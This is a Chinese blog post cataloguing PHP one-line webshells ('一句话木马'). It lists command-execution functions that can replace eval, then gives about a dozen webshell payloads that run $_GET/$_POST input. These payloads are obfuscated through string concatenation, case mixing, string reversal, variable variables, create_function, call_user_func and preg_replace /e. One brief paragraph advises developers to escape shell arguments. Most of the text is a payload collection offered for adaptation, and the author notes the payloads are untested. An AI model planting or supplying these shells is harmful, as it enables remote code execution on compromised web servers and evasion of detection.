一句话木马替代

一句话木马的关键便是命令的执行,同样php中也有一些命令执行函数可以代替eval,举例相应函数及使用:

assert()函数(ps:在PHP7.1版本以后,assert()默认不再可以执行代码)
system()函数
passthru()函数
exec()函数
shell_exec()函数
使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用)

也可使用popen()函数打开进程执行命令,自行百度、尝试,这里不做举例。

  如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。

下面放一些比较常见的一句话木马,我们也可以根据丰富的php函数自行创造和修改(未具体尝试,如有出错欢迎评论指出)注意assert()的版本问题(上表格有提及,需要时自行修改):

普通的一句话GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此
用php变量表示(ps:eval不能作为变量函数去执行) <?php $a = "passthru";$a(@$_GET['pass']); ?>
php变量表示变形1(ps:大小写混淆) <?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?>
php变量表示变形2(ps:字符串拼接) <?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>
php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序) <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?>
PHP可变变量(ps:变量的变换) <?php $b="assert";$a='b';$$a($_POST['pass']);?> ``
使用create_function函数 <?php $a=create_function('',$_POST['pass']);$a();?> ``
自定义函数 <?php function b($a){@eval($a);}@b($_POST['pass']);?>
使用call_user_func()函数(ps:调用函数) <?php @call_user_func(assert,$_POST['pass']);?>
使用call_user_func_array()函数 `<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>`
base64_decode 函数
preg_replace函数(ps:preg_replace 函数的第一个参数是一个正则表达式,后文会提到正则表达式。 如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。) <?php function a(){return $_POST['pass'];}@preg_replace("/test/e", a(),"test1");?>
array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。)
array_filter()函数
pares_str函数(ps:结果$a=eval) <?php $str="a=eval";parse_str($str);$a($_POST['pass']);?>
str_replace函数(ps:结果$a=assert) <?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?>
uasort()函数、usort()函数
动态函数
posted on 2021-01-20 19:38  猪猪侠的哥哥  阅读(509)  评论(0)    收藏  举报